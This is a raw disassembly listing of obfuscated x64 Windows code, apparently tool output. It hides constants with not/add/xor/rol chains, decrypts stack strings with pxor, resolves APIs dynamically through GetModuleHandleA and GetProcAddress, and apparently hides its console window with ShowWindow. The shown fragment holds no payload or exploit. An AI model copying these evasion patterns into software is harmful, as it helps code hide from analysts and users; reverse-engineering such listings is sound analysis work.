not rax
add rax, 0x4ab9e3bb
xor rax, 0x46aa7313
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x7e3f63e0
xor rax, 0x69e6d8c8
rol rax, 0x8f
popf
pushf
not rax
add rax, 0x41d47e5b
xor rax, 0x4eedd1a2
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x5c93ede5
xor rax, 0x6a63cbc7
rol rax, 0x96
popf
mov qword [rsp + 0x288], rax
movabs rax, 0x5e97ed82593aca6c
pushf
not rax
add rax, 0x586b9b33
xor rax, 0x5a554e63
rol rax, 0xd9
popf
pushf
not rax
add rax, 0x497192b4
xor rax, 0x5e7ca1b6
rol rax, 0x51
popf
pushf
not rax
add rax, 0x52e8a4c3
xor rax, 0x41f6d862
rol rax, 0x98
popf
pushf
not rax
add rax, 0x75a5a4a5
xor rax, 0x5a8351e4
rol rax, 0x43
popf
mov qword [rsp + 0x5d0], rax
movabs rax, 0xd4575daa3600ceb5
pushf
not rax
add rax, 0x7d865005
xor rax, 0x703d4c3e
rol rax, 0xea
popf
pushf
not rax
add rax, 0x7506bd31
xor rax, 0x766f1f6e
rol rax, 0xc4
popf
pushf
not rax
add rax, 0x7daea3fe
xor rax, 0x7098ab61
rol rax, 0x36
popf
mov qword [rsp + 0x5d8], rax
lea rax, [rsp + 0x4a]
mov rdi, rax
xor eax, eax
mov ecx, 0xd721f418
pushf
not ecx
add ecx, 0xfcbdca3e
xor ecx, 0xbb2f0b48
rol ecx, 0x1d
popf
pushf
not ecx
add ecx, 0xc73ad2d3
xor ecx, 0x9cceb6b2
rol ecx, 5
popf
pushf
not ecx
add ecx, 0xe44b0b69
xor ecx, 0xeefa5877
rol ecx, 0x51
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x4a]
mov byte [rsp + 0x110], al
movdqa xmm0, xmmword [rsp + 0x5d0]
movdqa xmmword [rsp + 0xa00], xmm0
movdqa xmm0, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0x9f0], xmm0
movdqa xmm0, xmmword [rsp + 0x9f0]
pxor xmm0, xmmword [rsp + 0xa00]
movdqa xmmword [rsp + 0xa10], xmm0
movdqa xmm0, xmmword [rsp + 0xa10]
movdqa xmmword [rsp + 0x280], xmm0
lea rax, [rsp + 0x280]
mov rcx, rax
jmp 0x1403bb65a
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x1a8], rax
cmp qword [rsp + 0x1a8], 0
jne 0x1403bb6b9
push rax
pushf
mov eax, 0xb88d64ae
pushf
not eax
add eax, 0xdb6154ec
xor eax, 0xa4520dcc
rol eax, 6
popf
pushf
not eax
add eax, 0x89fe3b53
xor eax, 0xc8f077a8
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xfb25353e
xor eax, 0x9678b876
rol eax, 0xd6
popf
jmp 0x1403b84f0
push rax
pushf
mov eax, 0xf4039097
pushf
not eax
add eax, 0x9346ec1f
xor eax, 0xf5d9ee51
rol eax, 0x99
popf
pushf
not eax
add eax, 0xac8de4c9
xor eax, 0xffb8af4d
rol eax, 0xdf
popf
jmp 0x1403b84f0
mov byte [rsp + 0x4b], 0
lea rcx, [rsp + 0x2a0]
call fcn.140307c1b
lea rcx, [rsp + 0x2f0]
call fcn.140307c1b
lea rcx, [rsp + 0x2c0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x4b]
jmp 0x1403bdf36
lea rax, [rsp + 0x4c]
mov rdi, rax
xor eax, eax
mov ecx, 0xf35bf695
pushf
not ecx
add ecx, 0xf38ad051
xor ecx, 0xbd0b7b37
rol ecx, 0xf8
popf
pushf
not ecx
add ecx, 0xdf1b4678
xor ecx, 0x9e7d6a7b
rol ecx, 0x1b
popf
pushf
not ecx
add ecx, 0xc734b95e
xor ecx, 0x8e593e9c
rol ecx, 0xae
popf
pushf
not ecx
add ecx, 0x9ebad199
xor ecx, 0xf65799f6
rol ecx, 0x2f
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x4d]
mov rdi, rax
xor eax, eax
mov ecx, 0xc35f53e4
pushf
not ecx
add ecx, 0xe18f0a90
xor ecx, 0xa0ad8586
rol ecx, 0x45
popf
pushf
not ecx
add ecx, 0xbc9a48b9
xor ecx, 0x89b7db67
rol ecx, 0x6b
popf
pushf
not ecx
add ecx, 0xffb874db
xor ecx, 0xddf541af
rol ecx, 0xbe
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0x118], al
movzx eax, byte [rsp + 0x4d]
mov byte [rsp + 0x120], al
movabs rax, 0x352e6979045a5ab9
pushf
not rax
add rax, 0x5c3fbc97
xor rax, 0x59eef237
rol rax, 3
popf
pushf
not rax
add rax, 0x51f19b47
xor rax, 0x471321df
rol rax, 1
popf
mov qword [rsp + 0x410], rax
movabs rax, 0x4170eb491ce87bc
pushf
not rax
add rax, 0x5a4edba9
xor rax, 0x6b7207fd
rol rax, 0x30
popf
pushf
not rax
add rax, 0x436fce64
xor rax, 0x54564e7a
rol rax, 0x75
popf
pushf
not rax
add rax, 0x7bf2765d
xor rax, 0x5fb1dd27
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x7ffd29c9
xor rax, 0x6338493e
rol rax, 0x10
popf
mov qword [rsp + 0x418], rax
movabs rax, 0x724ec34008f49f58
pushf
not rax
add rax, 0x516a911e
xor rax, 0x5f8201ec
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x4188cfd5
xor rax, 0x793f6488
rol rax, 0x44
popf
mov qword [rsp + 0x420], rax
movabs rax, 0xc4a2c35d8730742a
pushf
not rax
add rax, 0x40a76c7e
xor rax, 0x7131cb18
rol rax, 0x20
popf
pushf
not rax
add rax, 0x7b3b8b68
xor rax, 0x6e411347
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x50b3a9fd
xor rax, 0x5f3c8a05
rol rax, 0xaf
popf
mov qword [rsp + 0x428], rax
movabs rax, 0x463c00d1dbd8a550
pushf
not rax
add rax, 0x4591f3b8
xor rax, 0x7da02bc3
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x7fc50f52
xor rax, 0x65edf969
rol rax, 0x5b
popf
mov qword [rsp + 0x6b0], rax
movabs rax, 0x60fe92dc38838a55
pushf
not rax
add rax, 0x5e915fe9
xor rax, 0x4c069b98
rol rax, 0x6c
popf
pushf
not rax
add rax, 0x4654ea95
xor rax, 0x49f904d3
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x7694481a
xor rax, 0x6861047a
rol rax, 0x56
popf
pushf
not rax
add rax, 0x5db63cf4
xor rax, 0x49c8b9da
rol rax, 0x93
popf
mov qword [rsp + 0x6b8], rax
movabs rax, 0xcfd84534ab2a4db5
pushf
not rax
add rax, 0x4abc0d7f
xor rax, 0x78619c39
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x4adbef4e
xor rax, 0x74033130
rol rax, 0x74
popf
pushf
not rax
add rax, 0x6000b293
xor rax, 0x6909eead
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x6c864bfb
xor rax, 0x60440416
rol rax, 0xc1
popf
mov qword [rsp + 0x6c0], rax
movabs rax, 0x922a93c732c0ce60
pushf
not rax
add rax, 0x53f0a990
xor rax, 0x55399e35
rol rax, 0x25
popf
pushf
not rax
add rax, 0x64c23a4f
xor rax, 0x523819e3
rol rax, 0xb
popf
pushf
not rax
add rax, 0x661711e1
xor rax, 0x72d13925
rol rax, 0x8b
popf
mov qword [rsp + 0x6c8], rax
lea rax, [rsp + 0x4e]
mov rdi, rax
xor eax, eax
mov ecx, 0xc94e366c
pushf
not ecx
add ecx, 0x9125845a
xor ecx, 0x9e5975cd
rol ecx, 0x83
popf
pushf
not ecx
add ecx, 0xcd9d8273
xor ecx, 0x88b6160d
rol ecx, 0xa1
popf
pushf
not ecx
add ecx, 0xc40ef18d
xor ecx, 0x889ce76f
rol ecx, 0xa1
popf
pushf
not ecx
add ecx, 0xf7ad6e8c
xor ecx, 0x860e228f
rol ecx, 0x68
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0x128], al
movdqa xmm0, xmmword [rsp + 0x6b0]
movdqa xmmword [rsp + 0xa30], xmm0
movdqa xmm0, xmmword [rsp + 0x410]
movdqa xmmword [rsp + 0xa20], xmm0
movdqa xmm0, xmmword [rsp + 0xa20]
pxor xmm0, xmmword [rsp + 0xa30]
movdqa xmmword [rsp + 0xa40], xmm0
movdqa xmm0, xmmword [rsp + 0xa40]
movdqa xmmword [rsp + 0x410], xmm0
lea rax, [rsp + 0x420]
mov qword [rsp + 0x200], rax
lea rax, [rsp + 0x6c0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa60], xmm0
mov rax, qword [rsp + 0x200]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa50], xmm0
movdqa xmm0, xmmword [rsp + 0xa50]
pxor xmm0, xmmword [rsp + 0xa60]
movdqa xmmword [rsp + 0xc80], xmm0
mov rax, qword [rsp + 0x200]
movdqa xmm0, xmmword [rsp + 0xc80]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x410]
mov rdx, rax
mov rcx, qword [rsp + 0x1a8]
jmp 0x1403bbc19
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x388], rax
lea rax, [rsp + 0x4f]
mov rdi, rax
xor eax, eax
mov ecx, 0x5aca7480
pushf
not ecx
add ecx, 0x8e0c0aa7
xor ecx, 0xdb3e6660
rol ecx, 0x6a
popf
pushf
not ecx
add ecx, 0xc569e868
xor ecx, 0xe5a8ccc6
rol ecx, 0xc3
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x72e95ea
pushf
not ecx
add ecx, 0x82f42fea
xor ecx, 0xb0a25c95
rol ecx, 0xc0
popf
pushf
not ecx
add ecx, 0x87f827f2
xor ecx, 0xbcd06287
rol ecx, 0xca
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x4f]
mov byte [rsp + 0x130], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x138], al
movabs rax, 0x83eb42f28795970
pushf
not rax
add rax, 0x450cbb3c
xor rax, 0x74f0d2f6
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x545dabd8
xor rax, 0x461d14dc
rol rax, 0x26
popf
pushf
not rax
add rax, 0x43bff05f
xor rax, 0x4d2d74b7
rol rax, 0x75
popf
mov qword [rsp + 0x290], rax
movabs rax, 0x66d651696b2116c5
pushf
not rax
add rax, 0x6b674e7e
xor rax, 0x5586a7b5
rol rax, 0x38
popf
pushf
not rax
add rax, 0x7372dfd8
xor rax, 0x57879f8c
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x493485be
xor rax, 0x7043c3d0
rol rax, 0xad
popf
pushf
not rax
add rax, 0x70f41415
xor rax, 0x73f119fe
rol rax, 0x33
popf
mov qword [rsp + 0x298], rax
movabs rax, 0x20c0bdb6b0a39ee9
pushf
not rax
add rax, 0x52e8d0d9
xor rax, 0x583e080a
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x79693ec4
xor rax, 0x5460cb89
rol rax, 0x65
popf
pushf
not rax
add rax, 0x64493bf6
xor rax, 0x73c35bb6
rol rax, 0x59
popf
pushf
not rax
add rax, 0x7d4cae08
xor rax, 0x480bb7c5
rol rax, 0xd7
popf
mov qword [rsp + 0x5e0], rax
movabs rax, 0x99ae20894ceb7462
pushf
not rax
add rax, 0x4e27d046
xor rax, 0x764289b2
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x62161a39
xor rax, 0x4dc36e3b
rol rax, 0x44
popf
mov qword [rsp + 0x5e8], rax
lea rax, [rsp + 0x51]
mov rdi, rax
xor eax, eax
mov ecx, 0x38cba664
pushf
not ecx
add ecx, 0x991bed16
xor ecx, 0xa360e471
rol ecx, 0x2c
popf
pushf
not ecx
add ecx, 0xe516ce73
xor ecx, 0xdaeac63f
rol ecx, 0xd6
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x140], al
movdqa xmm0, xmmword [rsp + 0x5e0]
movdqa xmmword [rsp + 0xa90], xmm0
movdqa xmm0, xmmword [rsp + 0x290]
movdqa xmmword [rsp + 0xa80], xmm0
movdqa xmm0, xmmword [rsp + 0xa80]
pxor xmm0, xmmword [rsp + 0xa90]
movdqa xmmword [rsp + 0xaa0], xmm0
movdqa xmm0, xmmword [rsp + 0xaa0]
movdqa xmmword [rsp + 0x290], xmm0
lea rax, [rsp + 0x290]
mov rdx, rax
mov rcx, qword [rsp + 0x1a8]
jmp 0x1403bbed4
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x3b0], rax
mov dword [rsp + 0x1a4], 0xa
mov rax, qword [rsp + 0x388]
mov qword [rsp + 0x390], rax
lea r9, [rsp + 0x148]
xor r8d, r8d
mov dl, 0xbe
pushf
not dl
add dl, 0x93
xor dl, 0xf
rol dl, 0x84
popf
pushf
not dl
add dl, 0x5d
xor dl, 0x14
rol dl, 0xa2
popf
pushf
not dl
add dl, 9
xor dl, 0x5f
rol dl, 0x2e
popf
pushf
not dl
add dl, 0x98
xor dl, 0x3e
rol dl, 0xad
popf
mov ecx, dword [rsp + 0x1a4]
jmp 0x1403bbf4e
call qword [rsp + 0x390]
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jge 0x1403bbfaa
push rax
pushf
mov eax, 0x96ca8965
pushf
not eax
add eax, 0xf63c9143
xor eax, 0x90ed1092
rol eax, 9
popf
pushf
not eax
add eax, 0x871f709a
xor eax, 0xc546971f
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xfe91d0c3
xor eax, 0xe32542b7
rol eax, 0xfa
popf
jmp 0x1403b84f0
push rax
pushf
mov eax, 0x7db33f2d
pushf
not eax
add eax, 0xe65e43bc
xor eax, 0xf2704fc4
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xc2fb311f
xor eax, 0xe920d6ca
rol eax, 0x29
popf
jmp 0x1403b84f0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0x4d48351e
pushf
not edx
add edx, 0xfcbde48d
xor edx, 0xc7f89482
rol edx, 0x8e
popf
pushf
not edx
add edx, 0xd126c56e
xor edx, 0x822bab62
rol edx, 0x5d
popf
mov rcx, rax
jmp 0x1403bc017
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x52]
mov rdi, rax
xor eax, eax
mov ecx, 0x24f1a07e
pushf
not ecx
add ecx, 0xbc2380ae
xor ecx, 0x9223657f
rol ecx, 0xec
popf
pushf
not ecx
add ecx, 0x9eb5a85f
xor ecx, 0x9bfc8ab8
rol ecx, 0xbd
popf
pushf
not ecx
add ecx, 0xb6518068
xor ecx, 0xf99dfc11
rol ecx, 0x28
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x53]
mov rdi, rax
xor eax, eax
mov ecx, 0x953d95f2
pushf
not ecx
add ecx, 0xde056bc7
xor ecx, 0xd34f58e1
rol ecx, 0x84
popf
pushf
not ecx
add ecx, 0xa1f5c149
xor ecx, 0xfa8080b2
rol ecx, 0xab
popf
pushf
not ecx
add ecx, 0xeebc0fa9
xor ecx, 0x834eaad9
rol ecx, 0xcc
popf
pushf
not ecx
add ecx, 0xe43d7341
xor ecx, 0xfb6072bf
rol ecx, 0x44
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x3a0], rax
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x158], al
movabs rax, 0x66a078279a9c8493
pushf
not rax
add rax, 0x6e2f6e0e
xor rax, 0x53366cde
rol rax, 0xd0
popf
pushf
not rax
add rax, 0x45e09f6c
xor rax, 0x7e79f0c0
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x6aa62251
xor rax, 0x7974d0a7
rol rax, 0xab
popf
pushf
not rax
add rax, 0x49eeeb7b
xor rax, 0x418b4e54
rol rax, 0xcd
popf
mov qword [rsp + 0x4e0], rax
movabs rax, 0xe43ef2c13ecc1895
pushf
not rax
add rax, 0x5f3ddc6e
xor rax, 0x704c83ca
rol rax, 0x51
popf
pushf
not rax
add rax, 0x6e9a5d1c
xor rax, 0x70aba718
rol rax, 0x14
popf
pushf
not rax
add rax, 0x79dd9f55
xor rax, 0x5f31f460
rol rax, 0x71
popf
pushf
not rax
add rax, 0x562959ab
xor rax, 0x43862a55
rol rax, 0x29
popf
mov qword [rsp + 0x4e8], rax
movabs rax, 0x8d3c755679513e3e
pushf
not rax
add rax, 0x5dcb248c
xor rax, 0x6092809c
rol rax, 0x9b
popf
pushf
not rax
add rax, 0x609d10ff
xor rax, 0x7a45e00b
rol rax, 0x7b
popf
pushf
not rax
add rax, 0x47a06009
xor rax, 0x4eb19be1
rol rax, 0xa1
popf
mov qword [rsp + 0x4f0], rax
movabs rax, 0xe52e63ad12cb6388
pushf
not rax
add rax, 0x671f6a60
xor rax, 0x4cccf113
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x60ae02fe
xor rax, 0x447fb4d8
rol rax, 0x95
popf
pushf
not rax
add rax, 0x6d12a5a5
xor rax, 0x7190bbfd
rol rax, 0xde
popf
mov qword [rsp + 0x4f8], rax
movabs rax, 0x8c86f14b43a162a5
pushf
not rax
add rax, 0x694b4341
xor rax, 0x59177b1a
rol rax, 0xdf
popf
pushf
not rax
add rax, 0x64ecd502
xor rax, 0x4f02ab2e
rol rax, 0x8d
popf
mov qword [rsp + 0x500], rax
movabs rax, 0x916d5feff06f4c23
pushf
not rax
add rax, 0x6e21ad26
xor rax, 0x53315579
rol rax, 0xab
popf
pushf
not rax
add rax, 0x7d0b9654
xor rax, 0x7c3a9380
rol rax, 0x69
popf
mov qword [rsp + 0x508], rax
movabs rax, 0x78a9f1a57caab702
pushf
not rax
add rax, 0x7b9123b8
xor rax, 0x449d27d4
rol rax, 0x77
popf
pushf
not rax
add rax, 0x6cb3239c
xor rax, 0x6d73a26e
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x65649bdc
xor rax, 0x43dfec1b
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x57976214
xor rax, 0x42cf126e
rol rax, 0x26
popf
mov qword [rsp + 0x510], rax
movabs rax, 0x72f58f4136ae038c
pushf
not rax
add rax, 0x6cd2bb55
xor rax, 0x4a5b9ce8
rol rax, 0x41
popf
pushf
not rax
add rax, 0x68c1211a
xor rax, 0x64e389c4
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x68b7b767
xor rax, 0x5e75c077
rol rax, 0xbb
popf
mov qword [rsp + 0x518], rax
movabs rax, 0xb33a3bd3f44cace4
pushf
not rax
add rax, 0x7a2a49ea
xor rax, 0x7c345f81
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x65e050ec
xor rax, 0x583d1254
rol rax, 0x2c
popf
mov qword [rsp + 0x520], rax
movabs rax, 0xfa72d65190098438
pushf
not rax
add rax, 0x70622d80
xor rax, 0x6b1541c0
rol rax, 0x90
popf
pushf
not rax
add rax, 0x6f3e4ea2
xor rax, 0x46ca6fb5
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x710d13d6
xor rax, 0x6728bf6b
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x60fa1296
xor rax, 0x7961e18f
rol rax, 0x63
popf
mov qword [rsp + 0x528], rax
movabs rax, 0xf5805de47d4e5631
pushf
not rax
add rax, 0x71dd3aab
xor rax, 0x4fa2b2ec
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x50f590a7
xor rax, 0x532aeaaa
rol rax, 0xe1
popf
pushf
not rax
add rax, 0x5e747751
xor rax, 0x56c59a1a
rol rax, 6
popf
pushf
not rax
add rax, 0x4d39bb21
xor rax, 0x5e0516a2
rol rax, 0xa
popf
mov qword [rsp + 0x530], rax
movabs rax, 0xaefbccb956803e5b
pushf
not rax
add rax, 0x7019c8d8
xor rax, 0x626aa06c
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x67b28ff3
xor rax, 0x7f30f258
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x4fc1998f
xor rax, 0x414a1cd5
rol rax, 0x85
popf
pushf
not rax
add rax, 0x7d33d7c3
xor rax, 0x47755c05
rol rax, 0x71
popf
mov qword [rsp + 0x538], rax
movabs rax, 0x64d347e01a275ec6
pushf
not rax
add rax, 0x4363879d
xor rax, 0x5da0eb2f
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x6c68ad9f
xor rax, 0x657cf4c5
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x45fdd6e8
xor rax, 0x70fc5742
rol rax, 0x2d
popf
mov qword [rsp + 0x540], rax
movabs rax, 0x18ed7dddcbafc154
pushf
not rax
add rax, 0x6081515a
xor rax, 0x7e5e00c2
rol rax, 0x9b
popf
pushf
not rax
add rax, 0x71a6e329
xor rax, 0x570ab9fa
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x6d961d83
xor rax, 0x74fcb4b7
rol rax, 0x63
popf
pushf
not rax
add rax, 0x7decbf12
xor rax, 0x6277b3e8
rol rax, 0x42
popf
mov qword [rsp + 0x548], rax
movabs rax, 0x4ff5cb1d9e7ab5a1
pushf
not rax
add rax, 0x6a3972e2
xor rax, 0x4cc97639
rol rax, 0xae
popf
pushf
not rax
add rax, 0x46b3a748
xor rax, 0x527766aa
rol rax, 0xc8
popf
mov qword [rsp + 0x780], rax
movabs rax, 0xaf1d23ec2f1ac56e
pushf
not rax
add rax, 0x4e9634c9
xor rax, 0x69d859cc
rol rax, 0x99
popf
pushf
not rax
add rax, 0x7106259d
xor rax, 0x43f288a8
rol rax, 0x70
popf
mov qword [rsp + 0x788], rax
movabs rax, 0xbdf12890638d6362
pushf
not rax
add rax, 0x49ed2e5c
xor rax, 0x7dc97927
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x5d995866
xor rax, 0x62452a78
rol rax, 0xdd
popf
mov qword [rsp + 0x790], rax
movabs rax, 0xf8e9966e3b90b9a5
pushf
not rax
add rax, 0x64b655e1
xor rax, 0x7dc23731
rol rax, 0x40
popf
pushf
not rax
add rax, 0x407a79bc
xor rax, 0x536363cd
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x5332ebe3
xor rax, 0x77d97a29
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x7282a9aa
xor rax, 0x49f7f81c
rol rax, 0x8c
popf
mov qword [rsp + 0x798], rax
movabs rax, 0xf522f0ede0cbdb86
pushf
not rax
add rax, 0x5f5c2c7a
xor rax, 0x4f68e992
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x58a9bdde
xor rax, 0x6b7bdd46
rol rax, 0x75
popf
pushf
not rax
add rax, 0x78a27504
xor rax, 0x72d72546
rol rax, 0x1a
popf
pushf
not rax
add rax, 0x63540008
xor rax, 0x512177ad
rol rax, 0xc5
popf
mov qword [rsp + 0x7a0], rax
movabs rax, 0xc2b9b874bb943b22
pushf
not rax
add rax, 0x40734eb2
xor rax, 0x40551b28
rol rax, 0x69
popf
pushf
not rax
add rax, 0x4135e7cf
xor rax, 0x7c53c4e6
rol rax, 0xaa
popf
pushf
not rax
add rax, 0x6dffa96c
xor rax, 0x71d1ca72
rol rax, 0xce
popf
pushf
not rax
add rax, 0x6a16aec9
xor rax, 0x7fd43002
rol rax, 0xdb
popf
mov qword [rsp + 0x7a8], rax
movabs rax, 0xc11ae01a06273f05
pushf
not rax
add rax, 0x413b4813
xor rax, 0x456a0471
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x676d99ea
xor rax, 0x76a6f178
rol rax, 0x8c
popf
mov qword [rsp + 0x7b0], rax
movabs rax, 0xc05eace0f4214f23
pushf
not rax
add rax, 0x7c75439c
xor rax, 0x6d2eb18a
rol rax, 0xe9
popf
pushf
not rax
add rax, 0x77f0466a
xor rax, 0x7e1232f6
rol rax, 0x57
popf
pushf
not rax
add rax, 0x4386491f
xor rax, 0x659e30db
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x7c567c05
xor rax, 0x6ca184ac
rol rax, 0x5a
popf
mov qword [rsp + 0x7b8], rax
movabs rax, 0xf5c9012c1fd09364
pushf
not rax
add rax, 0x44cec8d3
xor rax, 0x6176c268
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x49d11e37
xor rax, 0x6fec0e6a
rol rax, 0x63
popf
pushf
not rax
add rax, 0x75860cae
xor rax, 0x6369effb
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x76fcc01a
xor rax, 0x7e579360
rol rax, 0x42
popf
mov qword [rsp + 0x7c0], rax
movabs rax, 0xf0e7228dfaab8023
pushf
not rax
add rax, 0x58391da2
xor rax, 0x4e0fd35c
rol rax, 0x81
popf
pushf
not rax
add rax, 0x51f64a0f
xor rax, 0x53a9c29c
rol rax, 0x79
popf
mov qword [rsp + 0x7c8], rax
movabs rax, 0xb6a33216831d4017
pushf
not rax
add rax, 0x54180f5d
xor rax, 0x451d9bf3
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x626a723c
xor rax, 0x695977e4
rol rax, 0xae
popf
pushf
not rax
add rax, 0x66c0f4a8
xor rax, 0x6bc86cce
rol rax, 0x39
popf
mov qword [rsp + 0x7d0], rax
movabs rax, 0x104262c695d2113a
pushf
not rax
add rax, 0x4029149f
xor rax, 0x7da265da
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x788f4ccd
xor rax, 0x6bba7da7
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x61cad704
xor rax, 0x6a7cc8ef
rol rax, 0x39
popf
mov qword [rsp + 0x7d8], rax
movabs rax, 0x93737c92a920e88
pushf
not rax
add rax, 0x7b9e1256
xor rax, 0x5a3b1772
rol rax, 0xb6
popf
pushf
not rax
add rax, 0x5154acff
xor rax, 0x5883f654
rol rax, 0xbe
popf
pushf
not rax
add rax, 0x7756fbf7
xor rax, 0x73ac4e15
rol rax, 0x99
popf
mov qword [rsp + 0x7e0], rax
movabs rax, 0x94e00be5ae549ac9
pushf
not rax
add rax, 0x4d795567
xor rax, 0x4be94d46
rol rax, 0x42
popf
pushf
not rax
add rax, 0x6648c330
xor rax, 0x48812c2b
rol rax, 0xa7
popf
pushf
not rax
add rax, 0x64d6820c
xor rax, 0x6c6abd21
rol rax, 0x5c
popf
pushf
not rax
add rax, 0x49b31671
xor rax, 0x5f0064b2
rol rax, 0xfe
popf
mov qword [rsp + 0x7e8], rax
lea rax, [rsp + 0x54]
mov rdi, rax
xor eax, eax
mov ecx, 0xc8ffbd95
pushf
not ecx
add ecx, 0xedb0d1c3
xor ecx, 0xdb4b4d54
rol ecx, 0xc1
popf
pushf
not ecx
add ecx, 0xb8a02f42
xor ecx, 0xb8ab7cce
rol ecx, 0xb9
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x160], al
movdqa xmm0, xmmword [rsp + 0x780]
movdqa xmmword [rsp + 0xac0], xmm0
movdqa xmm0, xmmword [rsp + 0x4e0]
movdqa xmmword [rsp + 0xab0], xmm0
movdqa xmm0, xmmword [rsp + 0xab0]
pxor xmm0, xmmword [rsp + 0xac0]
movdqa xmmword [rsp + 0xad0], xmm0
movdqa xmm0, xmmword [rsp + 0xad0]
movdqa xmmword [rsp + 0x4e0], xmm0
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0x208], rax
lea rax, [rsp + 0x790]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xaf0], xmm0
mov rax, qword [rsp + 0x208]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xae0], xmm0
movdqa xmm0, xmmword [rsp + 0xae0]
pxor xmm0, xmmword [rsp + 0xaf0]
movdqa xmmword [rsp + 0xb00], xmm0
mov rax, qword [rsp + 0x208]
movdqa xmm0, xmmword [rsp + 0xb00]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x500]
mov qword [rsp + 0x210], rax
lea rax, [rsp + 0x7a0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb20], xmm0
mov rax, qword [rsp + 0x210]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb10], xmm0
movdqa xmm0, xmmword [rsp + 0xb10]
pxor xmm0, xmmword [rsp + 0xb20]
movdqa xmmword [rsp + 0xb30], xmm0
mov rax, qword [rsp + 0x210]
movdqa xmm0, xmmword [rsp + 0xb30]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x510]
mov qword [rsp + 0x218], rax
lea rax, [rsp + 0x7b0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb50], xmm0
mov rax, qword [rsp + 0x218]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb40], xmm0
movdqa xmm0, xmmword [rsp + 0xb40]
pxor xmm0, xmmword [rsp + 0xb50]
movdqa xmmword [rsp + 0xb60], xmm0
mov rax, qword [rsp + 0x218]
movdqa xmm0, xmmword [rsp + 0xb60]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x520]
mov qword [rsp + 0x220], rax
lea rax, [rsp + 0x7c0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb80], xmm0
mov rax, qword [rsp + 0x220]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb70], xmm0
movdqa xmm0, xmmword [rsp + 0xb70]
pxor xmm0, xmmword [rsp + 0xb80]
movdqa xmmword [rsp + 0xb90], xmm0
mov rax, qword [rsp + 0x220]
movdqa xmm0, xmmword [rsp + 0xb90]
movdqu xmmword [rax], xmm0
